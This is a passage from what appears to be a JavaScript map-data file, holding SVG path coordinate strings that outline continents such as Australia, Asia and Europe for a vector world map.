05.8,353.26l0.26,0.04l0.17,-0.47l-0.48,-1.42l0.92,1.11l0.45,0.15l0.27,-0.39l-0.1,-1.56l-1.98,-3.63l1.09,-3.31l-0.24,-1.57l0.34,-0.62l0.38,1.06l0.43,-0.19l0.99,-1.7l1.91,-0.83l1.29,-1.15l1.81,-0.91l0.96,-0.17l0.92,0.26l1.92,-0.95l1.47,-0.28l1.03,-0.8l1.43,0.04l2.78,-0.84l1.36,-1.15l0.71,-1.45l1.41,-1.26l0.3,-2.58l1.27,-1.59l0.78,1.65l0.54,0.19l1.07,-0.51l0.15,-0.6l-0.73,-1.0l0.45,-0.71l0.78,0.39l0.58,-0.3l0.28,-1.82l1.87,-2.14l1.12,-0.39l0.28,-0.58l0.62,0.17l0.53,-0.73l1.87,-0.57l1.65,1.05l1.35,1.48l3.39,0.38l0.43,-0.54l-0.46,-1.23l1.05,-1.79l1.04,-0.61l0.14,-0.55l-0.25,-0.41l0.88,-1.17l1.31,-0.77l1.3,0.27l2.1,-0.48l0.31,-0.4l-0.05,-1.3l-0.92,-0.77l1.48,0.56l1.41,1.07l2.11,0.65l0.81,-0.2l1.4,0.7l1.69,-0.66l0.8,0.19l0.64,-0.33l0.71,0.77l-1.33,1.94l-0.71,0.07l-0.35,0.51l0.24,0.86l-1.52,2.35l0.12,1.05l2.15,1.65l1.97,0.85l3.04,2.36l1.97,0.65l0.55,0.88l2.72,0.85l1.84,-1.1l2.07,-5.97l-0.42,-3.59l0.3,-1.73l0.47,-0.87l-0.31,-0.68l1.09,-3.28l0.46,-0.47l0.4,0.71l0.16,1.51l0.65,0.52l0.16,1.04l0.85,1.21l0.12,2.38l0.9,2.0l0.57,0.18l1.3,-0.78l1.69,1.7l-0.2,1.08l0.53,2.2l0.39,1.3l0.68,0.48l0.6,1.95l-0.19,1.48l0.81,1.76l6.01,3.69l-0.11,0.76l1.38,1.58l0.95,2.77l0.58,0.22l0.72,-0.41l0.8,0.9l0.61,0.01l0.46,2.41l4.81,4.71l0.66,2.02l-0.07,3.31l1.14,2.2l-0.13,2.24l-1.1,3.68l0.03,1.64l-0.47,1.89l-1.05,2.4l-1.9,1.47l-1.72,3.51l-2.38,6.09l-0.24,2.82l-1.14,0.8l-2.85,0.15l-2.31,1.19l-2.51,2.25l-3.09,-1.57l0.3,-1.15l-0.54,-0.47l-1.5,0.63l-2.01,1.94l-7.12,-2.18l-1.48,-1.63l-1.14,-3.74l-1.45,-1.26l-1.81,-0.26l0.56,-1.18l-0.61,-2.1l-0.72,-0.1l-1.14,1.82l-0.9,0.21l0.63,-0.82l0.36,-1.55l0.92,-1.31l-0.13,-2.34l-0.7,-0.22l-2.0,2.34l-1.51,0.93l-0.94,2.01l-1.35,-0.81l-0.02,-1.52l-1.57,-2.04l-1.09,-0.88l0.24,-0.33l-0.14,-0.59l-3.21,-1.69l-1.83,-0.12l-2.54,-1.35l-4.58,0.28l-6.02,1.9l-2.53,-0.13l-2.62,1.41l-2.13,0.63l-1.49,2.6l-3.49,0.31l-2.29,-0.5l-3.48,0.43l-1.6,1.47l-0.81,-0.04l-2.37,1.63l-3.26,-0.1l-3.72,-2.21l0.04,-1.05l1.19,-0.46l0.49,-0.89l0.21,-2.97l-0.28,-1.64l-1.34,-2.86l-0.38,-1.47l0.05,-1.72l-0.95,-1.7l-0.18,-0.97l-1.01,-0.99l-0.29,-1.98l-1.13,-1.75ZM801.41,293.04l0.5,0.29l0.26,0.27l-0.49,-0.35l-0.27,-0.21ZM803.17,294.58l0.59,0.5l0.08,1.06l-0.29,-0.91l-0.38,-0.65ZM796.68,298.41l0.52,0.75l1.43,-0.19l2.27,-1.81l-0.01,-1.43l1.12,0.16l-0.04,1.1l-0.7,1.28l-1.12,0.18l-0.62,0.79l-2.46,1.11l-1.17,-0.0l-3.08,-1.25l3.41,0.0l0.45,-0.68ZM789.15,303.55l2.31,1.8l1.59,2.61l1.34,0.13l-0.06,0.66l0.31,0.43l1.06,0.24l0.06,0.65l2.25,1.05l-1.22,0.13l-0.72,-0.63l-4.56,-0.65l-3.22,-2.87l-1.49,-2.34l-3.27,-1.1l-2.38,0.72l-1.59,0.86l-0.2,0.42l0.27,1.55l-1.55,0.68l-1.36,-0.4l-2.21,-0.09l-0.08,-15.41l8.39,2.93l2.95,2.4l0.6,1.64l4.02,1.49l0.31,0.68l-1.76,0.21l-0.33,0.52l0.55,1.68ZM784.92,393.44l2.65,1.02l3.23,-0.96l1.09,0.14l0.15,3.06l-0.85,1.13l-0.17,1.63l-0.87,-0.24l-1.57,1.91l-1.68,-0.18l-1.4,-2.36l-0.37,-2.04l-1.39,-2.51l0.04,-0.8l1.15,0.18Z",
			name: "Australia",
		},
		AS: {
			path: "M781.12,166.87l1.81,0.68l1.62,-0.97l0.39,2.42l-3.35,0.75l-2.23,2.88l-3.63,-1.9l-0.56,0.2l-1.26,3.05l-2.16,0.03l-0.29,-2.51l1.08,-2.03l2.45,-0.16l0.37,-0.33l1.25,-5.94l2.47,2.71l2.03,1.12ZM773.56,187.34l-0.91,2.22l0.37,1.52l-1.14,1.75l-3.02,1.26l-4.58,0.27l-3.34,3.01l-1.25,-0.8l-0.09,-1.9l-0.46,-0.38l-4.35,0.62l-3.0,1.32l-2.85,0.05l-0.37,0.27l0.13,0.44l2.32,1.89l-1.54,4.34l-1.26,0.9l-0.79,-0.7l0.56,-2.27l-0.21,-0.45l-1.47,-0.75l-0.74,-1.4l2.12,-0.84l1.26,-1.7l2.45,-1.42l1.83,-1.91l4.78,-0.81l2.6,0.57l0.44,-0.21l2.39,-4.66l1.29,1.06l0.5,0.01l5.1,-4.02l1.69,-3.73l-0.38,-3.4l0.9,-1.61l2.14,-0.44l1.23,3.72l-0.07,2.18l-2.23,2.84l-0.04,3.16ZM756.47,287.89l0.69,4.01l2.79,1.78l0.51,-0.1l2.04,-2.59l2.71,-1.43l2.05,-0.0l3.9,1.73l2.46,0.45l0.08,15.12l-1.75,-1.54l-2.54,-0.51l-0.88,0.71l-2.32,0.06l0.69,-1.33l1.45,-0.64l0.23,-0.46l-0.65,-2.74l-1.24,-2.21l-5.04,-2.29l-2.09,-0.23l-3.68,-2.27l-0.55,0.13l-0.65,1.07l-0.52,0.12l-0.55,-1.89l-1.21,-0.78l1.84,-0.62l1.72,0.05l0.39,-0.52l-0.21,-0.66l-0.38,-0.28l-3.45,-0.0l-1.13,-1.48l-2.1,-0.43l-0.52,-0.6l2.69,-0.48l1.28,-0.78l3.66,0.94l0.3,0.71ZM507.76,203.05l2.4,-6.23l1.29,-2.09l-0.18,-2.26l0.53,-1.48l-0.74,-1.04l0.79,-1.3l-0.41,-0.2l-1.43,0.23l-2.0,-0.63l-2.02,1.65l-3.51,0.3l-2.13,-1.53l-2.7,-0.1l-0.86,1.24l-1.38,0.27l-2.29,-1.44l-2.71,-0.01l-1.37,-2.65l-1.68,-1.52l1.07,-1.99l-0.09,-0.49l-1.27,-1.12l2.37,-2.41l3.7,-0.11l1.28,-2.24l4.49,0.37l3.21,-1.97l2.81,-0.82l3.99,-0.06l4.29,2.07l3.64,1.17l3.05,-0.44l2.34,0.22l2.96,-1.56l0.57,-1.75l-0.76,-2.26l-1.45,-1.12l-1.43,-0.39l-0.41,-0.42l5.29,0.89l4.07,2.01l1.41,-0.44l2.07,0.56l0.86,1.26l2.25,0.81l1.84,1.84l1.53,0.01l1.52,-1.61l2.3,3.34l1.43,0.43l-1.26,0.15l-0.35,0.32l-0.8,3.14l-0.99,0.96l0.09,1.56l0.79,2.14l2.56,0.83l1.87,1.48l3.69,0.49l3.91,-0.76l0.54,-0.93l-0.44,-2.2l0.36,-2.98l-0.22,-0.4l-1.65,-0.84l0.54,-1.69l-0.34,-0.52l-1.22,-0.13l0.36,-1.64l2.22,0.59l2.2,-0.95l0.12,-0.65l-1.77,-1.74l-0.69,-1.64l-0.51,-0.22l-2.02,0.77l-0.33,0.96l-0.29,-1.01l0.56,-1.48l-0.48,-1.05l-2.96,-1.19l-1.06,-2.58l-1.37,-0.87l-0.03,-0.3l1.95,0.23l0.45,-0.38l0.08,-1.96l1.75,-0.41l2.1,0.45l0.48,-0.33l0.45,-3.04l-0.45,-2.09l-0.41,-0.31l-2.42,0.15l-2.36,-0.73l-2.87,1.37l-2.17,0.61l-0.85,-0.34l0.13,-1.61l-1.6,-2.12l-2.02,-0.08l-1.78,-1.82l1.29,-2.18l-0.57,-0.95l1.62,-2.91l2.21,1.63l0.63,-0.27l0.29,-2.22l4.92,-3.43l3.71,-0.08l8.4,3.6l2.92,-1.36l3.77,-0.06l3.11,1.66l0.51,-0.11l0.6,-0.81l3.31,0.13l0.39,-0.25l0.63,-1.57l-0.17,-0.5l-3.5,-1.98l1.87,-1.27l-0.13,-1.03l1.98,-0.72l0.18,-0.62l-1.59,-2.06l0.81,-0.82l9.23,-1.18l1.33,-0.88l6.18,-1.26l2.26,-1.42l4.08,0.68l0.73,3.33l0.51,0.3l2.48,-0.8l2.79,1.02l-0.17,1.56l0.43,0.44l2.55,-0.24l4.89,-2.53l0.03,0.32l3.15,2.61l5.56,8.47l0.65,0.02l1.12,-1.46l3.15,1.74l3.76,-0.78l1.15,0.49l1.14,1.8l1.84,0.76l0.99,1.29l3.35,-0.25l1.19,1.78l0.44,0.16l3.72,-0.87l4.75,-2.8l3.62,-1.47l2.18,0.97l2.46,0.05l1.81,1.53l2.46,0.12l3.95,0.71l2.43,-2.28l0.08,-0.48l-0.9,-1.72l2.24,-2.98l2.62,1.27l4.94,1.17l0.68,2.53l3.56,1.38l5.67,-1.0l2.37,0.41l2.34,1.5l1.79,1.75l2.29,-0.03l3.32,0.5l2.27,-0.79l3.41,-0.59l3.53,-2.21l1.25,0.29l1.53,1.13l2.89,-0.26l3.27,1.17l3.53,-2.06l0.18,-1.68l2.16,-3.35l1.34,-1.03l0.13,-2.18l-1.07,-0.85l1.54,-1.26l2.98,-0.59l3.23,-0.09l3.64,0.99l2.04,1.16l3.29,6.71l0.92,3.19l4.57,1.3l2.8,2.17l0.98,2.9l0.38,0.27l3.8,0.0l2.32,-1.28l3.29,-0.75l-0.96,2.09l-1.02,1.28l-0.85,3.4l-1.52,2.73l-2.76,-0.5l-2.4,1.13l-0.21,0.45l0.64,2.57l-0.32,3.2l-0.94,0.06l-0.37,0.4l0.02,1.51l-0.47,0.08l-1.88,2.1l0.01,2.14l-1.06,0.54l-1.41,1.4l-1.7,0.52l-1.25,1.09l-0.14,1.98l2.28,1.66l2.11,3.34l0.58,1.76l0.02,3.12l-0.8,1.32l-2.21,0.55l-1.93,1.13l-1.8,0.19l-0.2,-1.1l0.43,-2.28l-0.95,-2.56l1.43,-0.37l0.23,-0.62l-1.88,-2.61l-1.22,-0.55l-0.88,0.62l-1.21,-0.88l1.12,-1.65l-0.16,-0.38l0.57,-1.43l-0.16,-0.76l-3.12,-1.37l-3.5,0.86l-1.93,1.4l-1.15,0.34l0.33,-0.7l-0.41,-0.89l1.79,-1.79l0.02,-0.54l-1.32,-1.56l-0.48,-0.1l-2.24,1.09l-2.83,2.06l-1.51,1.83l-2.28,0.13l-1.55,1.49l-0.04,0.5l1.32,1.97l2.0,0.58l0.31,1.35l1.98,0.84l3.0,-1.96l2.0,1.02l1.49,0.11l0.22,0.83l-3.37,0.86l-1.12,1.48l-2.5,1.52l-1.29,1.99l0.14,0.56l2.57,1.48l0.97,2.7l3.17,4.63l-0.03,1.66l-1.35,0.65l-0.2,0.51l0.6,1.47l1.4,0.91l-0.33,1.93l-0.56,1.89l-1.43,0.38l-3.85,6.44l-2.27,3.11l-6.78,4.57l-2.73,0.29l-1.45,1.04l-0.62,-0.61l-0.55,-0.01l-1.36,1.25l-3.39,1.27l-2.61,0.4l-1.1,2.79l-0.81,0.09l-0.49,-1.42l0.5,-0.85l-0.25,-0.59l-3.59,-0.83l-1.27,0.47l-3.34,2.24l-2.17,2.54l-0.57,2.29l4.26,6.1l2.32,1.65l1.43,1.94l1.11,4.59l-0.32,4.24l-1.93,1.54l-2.84,1.61l-2.11,2.15l-2.73,2.06l-0.59,-1.05l0.63,-1.53l-0.13,-0.47l-1.86,-1.44l-2.12,-0.42l-2.32,-3.93l-2.25,-1.17l-1.84,-0.01l0.28,-1.52l-0.4,-0.47l-2.21,0.01l-0.4,0.37l-0.19,2.74l-2.15,5.89l0.15,2.0l0.38,0.36l1.38,0.07l0.9,2.04l0.44,2.14l1.5,1.64l1.61,0.38l3.23,2.94l0.98,1.56l-0.12,2.81l0.41,2.29l0.95,0.9l0.88,2.44l-1.27,0.12l-5.1,-3.67l-0.34,-1.29l-1.37,-1.59l-0.33,-1.97l-0.88,-1.4l0.25,-1.68l-0.59,-1.31l-1.0,-1.0l-0.48,-1.3l-2.56,-2.63l-0.73,0.41l0.96,-3.92l-0.21,-1.94l0.71,-2.19l-0.78,-1.4l0.19,-2.65l-1.05,-1.53l-1.24,-6.17l-1.12,-2.26l-0.6,-0.13l-4.34,3.02l-2.39,-0.65l0.77,-2.84l-0.57,-2.74l-1.86,-2.83l0.25,-0.75l-0.29,-0.51l-1.33,-0.3l-1.66,-1.99l-0.66,-1.26l-0.64,-2.62l-1.4,-1.79l-2.31,-0.11l-0.41,0.48l0.2,0.94l-0.53,0.99l-0.72,-0.36l-0.68,0.35l-1.45,-0.43l-0.47,0.25l-0.26,0.69l-4.58,0.52l-0.33,0.42l0.13,1.8l-1.17,1.36l-3.65,1.81l-2.79,3.03l-4.32,3.28l-0.18,1.27l-4.65,1.79l-0.77,2.16l0.64,5.3l-1.06,2.49l-0.01,3.94l-1.24,0.28l-1.14,1.93l0.39,0.84l-1.68,0.53l-1.04,1.83l-0.65,0.47l-2.06,-2.05l-2.1,-6.02l-2.2,-3.64l-1.05,-4.75l-2.29,-3.57l-1.76,-8.2l0.01,-3.11l-0.49,-2.53l-0.55,-0.29l-3.53,1.52l-1.53,-0.27l-2.86,-2.77l0.85,-0.67l0.08,-0.55l-0.74,-1.03l-3.02,-2.33l-1.77,-0.67l-0.76,-1.87l-2.27,-2.15l-12.15,0.92l-9.98,-1.73l-0.99,-3.05l-1.43,-0.73l-2.17,0.46l-2.47,1.26l-2.83,-0.82l-2.46,-2.02l-2.41,-0.8l-3.42,-6.06l-0.48,-0.2l-1.18,0.39l-1.44,-0.82l-0.5,0.08l-0.8,0.92l-1.28,-0.12l-0.4,0.56l0.46,1.06l-0.17,0.76l1.79,4.4l1.29,0.76l0.51,0.99l1.56,1.03l-0.1,1.9l1.78,3.24l0.47,0.18l0.28,-0.42l-0.16,-1.83l0.84,-1.29l0.47,0.52l0.04,1.34l-0.5,1.8l0.98,1.49l0.48,0.34l1.91,-0.41l3.53,0.15l5.66,-5.51l-0.39,0.93l0.34,2.11l1.18,1.96l1.66,1.15l3.15,0.78l1.73,2.29l0.81,0.57l-1.22,2.15l-1.1,0.92l-0.81,1.55l-0.86,-0.1l-0.88,0.76l-0.48,1.46l0.25,1.77l-1.16,0.05l-1.56,0.97l-0.76,1.74l-1.39,-0.02l-1.21,0.72l-0.17,1.15l-0.89,0.52l-1.49,-0.18l-1.61,0.84l-2.99,0.85l-0.78,2.12l-6.23,2.16l-2.29,1.8l-1.93,0.05l-1.41,1.02l-4.24,0.74l-1.72,1.49l-3.28,0.19l-0.52,-1.18l0.02,-1.51l-1.34,-3.29l0.26,-0.42l-0.07,-2.81l-0.32,-1.1l-0.77,-0.85l-0.17,-0.91l-1.39,-1.13l-1.27,-2.06l-0.78,-2.22l-1.73,-1.79l-1.14,-0.48l-1.54,-2.31l-0.21,-3.41l-1.44,-2.93l-1.27,-1.16l-1.33,-0.57l-1.31,-3.37l-0.77,-0.67l-0.97,-1.97l-2.8,-4.03l-1.06,-0.17l0.68,-3.21l-1.67,-4.96l0.59,-0.74l-0.03,-0.41ZM757.78,196.26l0.19,0.56l-1.01,1.21l-1.16,-0.68l-1.28,0.65l-0.69,1.45l-1.02,-0.5l0.01,-0.93l1.14,-1.38l1.57,0.14l0.85,-0.98l1.4,0.46ZM757.91,300.34l-0.62,0.82l-0.1,-0.8l0.59,-1.12l0.13,1.1ZM747.38,292.98l0.34,0.72l-1.22,-0.57l-4.68,-0.1l0.27,-0.62l2.78,-0.09l2.52,0.67ZM741.05,285.25l-0.67,-2.88l0.64,-2.01l0.41,0.86l1.21,0.18l0.16,0.7l-0.1,1.68l-0.84,-0.16l-0.46,0.3l-0.34,1.34ZM739.05,293.5l-0.5,0.44l-1.34,-0.36l-0.17,-0.37l1.73,-0.08l0.27,0.36ZM730.55,310.47l1.11,-1.93l2.37,-0.96l0.42,-0.63l4.5,-0.86l-4.9,2.0l-1.72,1.91l-1.77,0.46ZM737.01,263.84l0.39,2.97l-0.44,1.18l-0.55,-1.53l-0.67,-0.14l-1.17,1.28l0.65,2.09l-0.42,0.69l-2.48,-1.23l-0.57,-1.49l0.65,-1.03l-0.1,-0.54l-1.59,-1.19l-0.56,0.08l-0.65,0.87l-1.23,0.0l-1.58,0.97l0.83,-1.8l2.56,-1.42l0.65,0.84l0.45,0.13l1.9,-0.69l0.56,-1.11l1.5,-0.06l0.38,-0.43l-0.09,-1.19l1.21,0.71l0.36,2.02ZM733.59,256.58l0.05,0.75l0.08,0.26l-0.8,-0.42l-0.18,-0.71l0.85,0.12ZM734.08,256.1l-0.12,-1.12l-1.0,-1.27l1.36,0.03l0.53,0.73l0.51,2.04l-1.27,-0.4ZM733.76,257.68l0.38,0.98l-0.32,0.15l-0.07,-1.13ZM721.45,284.51l-0.19,1.97l2.24,2.23l0.54,0.02l1.27,-1.07l2.75,-0.5l-0.9,1.21l-2.11,0.93l-0.16,0.6l2.22,3.01l-0.3,1.07l1.36,1.74l-2.26,0.85l-0.28,-0.31l0.12,-1.19l-1.64,-1.34l0.17,-2.23l-0.56,-0.39l-1.67,0.76l-0.23,0.39l0.3,6.17l-1.1,0.25l-0.69,-0.47l0.64,-2.21l-0.39,-2.42l-0.39,-0.34l-0.8,-0.01l-0.58,-1.29l0.98,-1.6l0.35,-1.96l1.32,-3.87ZM728.59,296.27l0.38,0.49l-0.02,1.28l-0.88,0.49l-0.53,-0.47l1.04,-1.79ZM729.04,286.98l0.27,-0.05l-0.02,0.13l-0.24,-0.08ZM721.68,284.05l0.16,-0.32l1.89,-1.65l1.83,0.68l3.16,0.35l2.94,-0.1l2.39,-1.66l-1.73,2.13l-1.66,0.43l-2.41,-0.48l-4.17,0.13l-2.39,0.51ZM724.65,238.43l1.46,0.7l0.72,-0.31l-0.32,1.17l0.79,1.71l-0.57,1.84l-1.53,1.04l-0.39,2.25l0.56,2.04l1.63,0.57l1.16,-0.27l2.71,1.23l-0.19,1.08l0.76,0.84l-0.08,0.36l-1.4,-0.9l-0.88,-1.27l-0.66,0.0l-0.38,0.55l-1.6,-1.31l-2.15,0.36l-0.87,-0.39l0.07,-0.61l0.66,-0.55l-0.01,-0.62l-0.75,-0.59l-0.72,0.44l-0.74,-0.87l-0.39,-2.49l0.32,0.27l0.66,-0.28l0.26,-3.97l0.7,-2.02l1.14,0.0ZM731.03,258.87l-0.88,0.85l-1.19,1.94l-1.05,-1.19l0.93,-1.1l0.32,-1.47l0.52,-0.06l-0.27,1.15l0.22,0.45l0.49,-0.12l1.0,-1.32l-0.08,0.85ZM726.83,255.78l0.83,0.38l1.17,-0.0l-0.02,0.48l-2.0,1.4l0.03,-2.26ZM728.12,305.88l-0.1,0.38l-3.46,0.66l-2.91,-0.27l-0.0,-0.25l1.54,-0.41l1.66,0.73l1.67,-0.19l1.61,-0.65ZM724.01,226.68l-0.74,1.48l-0.9,-1.52l-0.25,-1.74l1.38,-2.44l1.73,-1.74l0.64,0.44l-1.85,5.52ZM724.81,252.09l-0.38,1.27l-1.42,-1.95l1.2,0.05l0.6,0.63ZM722.9,310.24l-0.64,0.03l-2.26,-1.2l1.11,-0.24l1.78,1.41ZM716.55,261.82l1.1,-0.95l0.03,-0.03l-0.28,0.36l-0.85,0.61ZM719.22,259.06l0.04,-0.06l0.8,-1.53l0.16,0.75l-1.0,0.84ZM711.66,293.84l-0.38,-0.16l-2.54,1.01l-1.12,-1.44l-1.69,-0.13l-1.16,-0.75l-3.04,0.77l-1.1,-1.15l-3.31,-0.11l-0.35,-3.05l-1.35,-0.95l-1.11,-1.98l-0.33,-2.06l0.27,-2.14l1.21,-1.35l1.83,0.76l1.93,-0.47l0.75,-2.22l4.02,-1.03l3.03,-3.57l5.02,-4.03l1.21,-1.86l0.63,-0.01l1.07,1.05l0.34,1.28l3.44,1.35l-0.06,0.35l-1.37,0.1l-0.35,0.54l0.32,0.88l-1.68,0.85l-1.42,2.26l0.02,0.46l1.7,2.2l-0.23,1.39l2.07,1.71l-2.33,0.42l-0.88,1.9l0.1,2.05l-2.4,1.9l-0.06,2.45l-0.7,2.79ZM716.26,305.77l0.88,0.51l1.28,-0.17l0.2,0.35l-4.65,0.73l0.39,-0.67l1.15,-0.02l0.75,-0.73ZM692.58,302.03l0.35,0.26l4.8,0.25l0.78,-0.97l4.17,1.09l1.13,1.68l3.69,0.45l2.13,1.04l-1.8,0.6l-2.77,-0.99l-4.8,-0.12l-5.24,-1.41l-1.84,-0.25l-1.11,0.3l-4.26,-0.97l-0.7,-1.14l-1.59,-0.13l1.18,-1.65l2.74,0.13l2.87,1.13l0.26,0.68ZM696.92,237.31l-1.87,1.08l-1.63,-0.64l-0.06,-1.79l1.03,-0.98l2.58,-0.69l1.16,0.05l0.3,0.54l-0.98,1.06l-0.53,1.37ZM685.53,299.17l-2.22,0.04l-2.06,-2.03l-3.15,-2.01l-2.93,-3.51l-3.11,-5.33l-2.2,-2.12l-1.64,-4.06l-2.32,-1.69l-1.27,-2.07l-1.96,-1.5l-2.51,-2.65l-0.11,-0.66l4.81,0.53l2.15,2.38l3.31,2.74l2.35,2.66l2.7,0.17l1.95,1.59l1.54,2.17l1.59,0.95l-0.84,1.71l0.15,0.52l1.44,0.87l0.79,0.1l0.4,1.58l0.87,1.4l1.96,0.39l1.0,1.31l-0.6,3.01l-0.09,3.5ZM624.16,268.99l-1.82,0.48l-0.99,-1.67l-0.42,-3.46l0.95,-3.43l1.21,0.98l2.26,4.19l-0.34,2.33l-0.85,0.58ZM505.52,192.81l0.09,0.58l-2.1,0.94l-0.92,-0.28l-0.24,-0.46l0.77,-0.07l0.57,-0.68l1.82,-0.04ZM488.79,176.72l-1.72,1.31l-0.5,-0.88l1.37,-2.57l-0.7,-0.85l1.7,-0.63l1.8,0.34l0.46,1.17l1.76,0.78l-2.87,0.32l-1.3,1.01Z",
			name: "Asia",
		},
		EU: {
			path: "M402.36,187.15l-1.16,0.7l-1.13,-0.35l-0.91,0.17l0.28,-1.78l-0.24,-1.78l-1.25,-0.56l-0.45,-0.84l0.17,-1.66l1.01,-1.18l0.7,-3.05l-0.66,-3.34l0.12,-2.11l-0.83,-1.23l3.03,-1.88l2.99,0.53l3.32,-0.02l2.73,0.52l6.42,-0.23l1.37,-2.03l0.39,-6.45l-2.58,-3.3l-1.9,-1.66l-3.72,-1.23l-0.19,-1.72l2.81,-0.61l4.12,0.81l0.47,-0.48l-0.6,-2.77l1.94,0.95l5.83,-2.54l0.92,-2.74l3.99,-1.26l1.4,-0.97l2.26,-4.97l3.2,-1.33l1.99,0.09l0.73,-0.74l1.66,-0.15l0.33,0.54l0.62,0.07l1.7,-1.69l0.08,-0.45l-0.54,-1.22l-0.16,-2.06l-0.97,-1.85l-0.07,-3.43l0.96,-1.73l2.02,-0.2l1.09,-1.07l1.33,-0.67l-0.05,1.06l-0.73,1.41l0.3,1.0l1.2,0.64l-0.26,0.57l-0.88,-0.07l-1.85,2.92l0.65,1.63l0.04,1.27l0.28,0.37l2.25,0.71l-0.02,0.92l0.5,0.4l2.55,-0.65l1.34,-0.87l4.18,2.34l1.69,-0.99l6.91,-2.71l2.14,0.5l0.52,0.91l2.41,0.04l0.38,-0.26l0.5,-1.34l3.27,-1.07l0.27,-0.45l-0.52,-2.91l0.08,-2.53l1.13,-2.06l1.95,-1.02l2.12,2.58l2.01,-0.07l0.38,-0.33l0.77,-4.92l-0.58,-0.41l-0.69,0.34l-1.26,-1.03l-0.17,-1.63l2.83,-0.92l3.05,-0.52l2.64,0.6l2.69,-0.1l3.06,-2.14l-0.01,-0.65l-2.87,-1.86l-4.64,0.32l-4.38,1.37l-3.8,0.74l-1.44,-1.96l-2.17,-1.11l0.5,-3.66l-1.16,-3.33l1.09,-2.08l2.21,-2.42l5.67,-4.32l1.64,-0.83l0.21,-0.42l-0.46,-2.02l-3.78,-1.99l-4.51,1.3l-2.43,2.86l0.26,2.57l-8.77,6.64l-1.78,5.79l1.78,2.68l2.22,1.96l-2.07,3.77l-2.72,1.13l-0.95,6.04l-1.29,3.01l-2.74,-0.31l-0.4,0.22l-1.31,2.59l-2.34,0.13l-0.75,-3.09l-2.08,-4.03l-1.9,-5.12l-1.73,-2.37l-0.58,-0.07l-4.87,4.19l-3.1,0.79l-3.16,-1.7l-0.85,-3.77l-0.77,-8.55l2.14,-2.31l6.55,-3.27l5.02,-4.17l10.63,-13.84l10.98,-8.7l5.35,-1.91l4.34,0.12l3.69,-3.64l4.49,0.19l4.37,-0.89l6.8,2.89l-2.29,0.86l-0.15,0.65l2.74,2.81l0.44,0.09l2.42,-1.45l4.06,2.61l6.79,1.04l9.34,4.85l1.78,1.88l0.14,2.46l-2.55,2.02l-3.9,1.06l-11.07,-3.14l-2.06,0.53l-0.13,0.7l3.94,2.94l0.31,5.86l0.26,0.36l5.14,2.24l0.58,-0.29l0.32,-1.94l-1.35,-1.78l1.13,-1.09l6.13,2.42l2.11,-0.98l0.18,-0.56l-1.51,-2.67l5.41,-3.76l2.07,0.22l2.26,1.41l0.57,-0.16l1.46,-2.87l-0.05,-0.44l-1.92,-2.32l1.12,-2.32l-1.32,-2.27l5.87,1.16l1.04,1.75l-2.59,0.43l-0.33,0.4l0.02,2.36l2.46,1.83l3.87,-0.91l0.86,-2.8l13.69,-5.65l0.99,0.11l-1.92,2.06l0.23,0.67l3.11,0.45l2.0,-1.48l4.56,-0.12l3.64,-1.73l2.65,2.44l0.56,-0.01l2.85,-2.88l-0.01,-0.57l-2.35,-2.29l0.9,-1.01l7.14,1.3l3.41,1.36l9.05,4.97l0.51,-0.11l1.67,-2.27l-0.05,-0.53l-2.43,-2.21l-0.06,-0.78l-0.34,-0.36l-2.52,-0.36l0.64,-1.93l-1.32,-3.46l-0.06,-1.21l4.48,-4.06l1.69,-4.29l1.6,-0.81l6.23,1.18l0.44,2.21l-2.29,3.64l0.06,0.5l1.47,1.39l0.76,3.0l-0.56,6.03l2.69,2.82l-0.96,2.57l-4.86,5.95l0.23,0.64l2.86,0.61l0.42,-0.17l0.93,-1.4l2.64,-1.03l0.87,-2.24l2.09,-1.96l0.07,-0.5l-1.36,-2.28l1.09,-2.69l-0.32,-0.55l-2.47,-0.33l-0.5,-2.06l1.94,-4.38l-0.06,-0.42l-2.96,-3.4l4.12,-2.88l0.16,-0.4l-0.51,-2.93l0.54,-0.05l1.13,2.25l-0.96,4.35l0.27,0.47l2.68,0.84l0.5,-0.51l-1.02,-2.99l3.79,-1.66l5.01,-0.24l4.53,2.61l0.48,-0.06l0.07,-0.48l-2.18,-3.82l-0.23,-4.67l3.98,-0.9l5.97,0.21l5.49,-0.64l0.27,-0.65l-1.83,-2.31l2.56,-2.9l2.87,-0.17l4.8,-2.47l6.54,-0.67l1.03,-1.42l6.25,-0.45l2.32,1.11l5.53,-2.7l4.5,0.08l0.39,-0.28l0.66,-2.15l2.26,-2.12l5.69,-2.11l3.21,1.29l-2.46,0.94l-0.25,0.42l0.34,0.35l5.41,0.77l0.61,2.33l0.58,0.25l2.2,-1.22l7.13,0.07l5.51,2.47l1.79,1.72l-0.53,2.24l-9.16,4.15l-1.97,1.52l0.16,0.71l6.77,1.91l2.16,-0.78l1.13,2.74l0.67,0.11l1.01,-1.15l3.81,-0.73l7.7,0.77l0.54,1.99l0.36,0.29l10.47,0.71l0.43,-0.38l0.13,-3.23l4.87,0.78l3.95,-0.02l3.83,2.4l1.03,2.71l-1.35,1.79l0.02,0.5l3.15,3.64l4.07,1.96l0.53,-0.18l2.23,-4.47l3.95,1.93l4.16,-1.21l4.73,1.39l2.05,-1.26l3.94,0.62l0.43,-0.55l-1.68,-4.02l2.89,-1.8l22.31,3.03l2.16,2.75l6.55,3.51l10.29,-0.81l4.82,0.73l1.85,1.66l-0.29,3.08l0.25,0.41l3.08,1.26l3.56,-0.88l4.35,-0.11l4.8,0.87l4.57,-0.47l4.23,3.79l0.43,0.07l3.1,-1.4l0.16,-0.6l-1.88,-2.62l0.85,-1.52l7.71,1.21l5.22,-0.26l7.09,2.09l9.59,5.22l6.35,4.11l-0.2,2.38l1.88,1.41l0.6,-0.42l-0.48,-2.53l6.15,0.57l4.4,3.51l-1.97,1.43l-4.0,0.41l-0.36,0.39l-0.06,3.79l-0.74,0.62l-2.07,-0.11l-1.91,-1.39l-3.14,-1.11l-0.78,-1.85l-2.72,-0.68l-2.63,0.49l-1.04,-1.1l0.46,-1.31l-0.5,-0.51l-3.0,0.98l-0.22,0.58l0.99,1.7l-1.21,1.48l-3.04,1.68l-3.12,-0.28l-0.4,0.23l0.09,0.46l2.2,2.09l1.46,3.2l1.15,1.1l0.24,1.33l-0.42,0.67l-4.63,-0.77l-6.96,2.9l-2.19,0.44l-7.6,5.06l-0.84,1.45l-3.61,-2.37l-6.24,2.82l-0.94,-1.15l-0.53,-0.08l-2.28,1.52l-3.2,-0.49l-0.44,0.27l-0.78,2.37l-3.05,3.78l0.09,1.47l0.29,0.36l2.54,0.72l-0.29,4.53l-1.97,0.11l-0.35,0.26l-1.07,2.94l0.8,1.45l-3.91,1.58l-1.05,3.95l-3.4